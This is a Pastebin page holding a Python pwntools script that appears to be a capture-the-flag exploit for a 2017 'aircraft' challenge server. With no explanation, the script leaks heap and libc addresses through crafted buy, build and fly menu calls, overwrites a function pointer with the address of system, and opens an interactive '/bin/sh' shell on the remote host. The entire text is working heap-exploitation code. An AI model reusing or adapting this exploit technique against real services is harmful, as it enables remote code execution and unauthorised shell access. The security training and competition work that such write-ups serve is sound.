Advertisement
angelboy

aiRcraft

May 22nd, 2017
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.99 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. from pwn import *
  4.  
  5. host = "aircraft.2017.teamrois.cn"
  6. port = 9731
  7. r = remote(host,port)
  8.  
  9. def buy(name,idx):
  10.     r.recvuntil(":")
  11.     r.sendline("1")
  12.     r.recvuntil(":")
  13.     r.sendline(str(idx))
  14.     r.recvuntil(":")
  15.     r.sendline(name)
  16.  
  17. def build(name,size):
  18.     r.recvuntil(":")
  19.     r.sendline("2")
  20.     r.recvuntil("?")
  21.     r.sendline(str(size))
  22.     r.recvuntil(":")
  23.     r.sendline(name)
  24.  
  25. def enterair(idx):
  26.     r.recvuntil(":")
  27.     r.sendline("3")
  28.     r.recvuntil("?")
  29.     r.sendline(str(idx))
  30.  
  31.  
  32. def selair(idx):
  33.     enterair(idx)
  34.     r.recvuntil("Your choice:")
  35.     r.sendline("2")
  36.  
  37. def listplant(idx):
  38.     enterair(idx)
  39.     r.recvuntil(":")
  40.     r.sendline("1")
  41. def selectpla(name):
  42.     r.recvuntil(":")
  43.     r.sendline("4")
  44.     r.recvuntil("?")
  45.     r.sendline(name)
  46.  
  47. def selplant(name):
  48.     selectpla(name)
  49.     r.recvuntil(":")
  50.     r.sendline("2")
  51.  
  52. def fly(name,idx):
  53.     selectpla(name)
  54.     r.recvuntil(":")
  55.     r.sendline("1")
  56.     r.recvuntil("?")
  57.     r.sendline(str(idx))
  58.  
  59. def ret():
  60.     r.recvuntil("Your choice:")
  61.     r.sendline("3")
  62. buy("a"*0x18,1)
  63. build("orange",0x30)
  64. build("meh",0x80)
  65. buy("ddaa",13)
  66. fly("ddaa",0)
  67. ret()
  68. listplant(0)
  69. r.recvuntil("Build by ")
  70. data = r.recvuntil("\n")[:-1]
  71. heap = u64(data.ljust(8,"\x00")) - 0xf0
  72. print "heap:",hex(heap)
  73. ret()
  74. selplant("ddaa")
  75. build("b"*0x20 + p64(heap+0x130) + p64(heap+0x30) + p64(heap+0x10) ,0x48)
  76. buy("1337",1)
  77. selair(1)
  78. listplant(0)
  79. r.recvuntil("Build by ")
  80. data = r.recvuntil("\n")[:-1]
  81. libc = u64(data.ljust(8,"\x00"))  - 0x3c3b78
  82. print "libc:",hex(libc)
  83. ret()
  84. build("fish",0x30) #3
  85. buy("lays",0)
  86. fly("lays",3)
  87. selplant("lays")
  88. free_chunk = libc + 0x3c3b40
  89. build("c"*0x30 + p64(free_chunk-0x38) + p64(heap) ,0x48)
  90. selair(3)
  91. r.recvuntil(":")
  92. buy("lays",0)
  93. system = libc+ 0x45390
  94. build("/bin/sh".ljust(0x20,"\x00") + p64(heap+0x130) + p64(heap+240) + p64(heap+0x10) + p64(0) + p64(system)[:7] ,0x48)
  95. selplant("/bin/sh")
  96. r.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement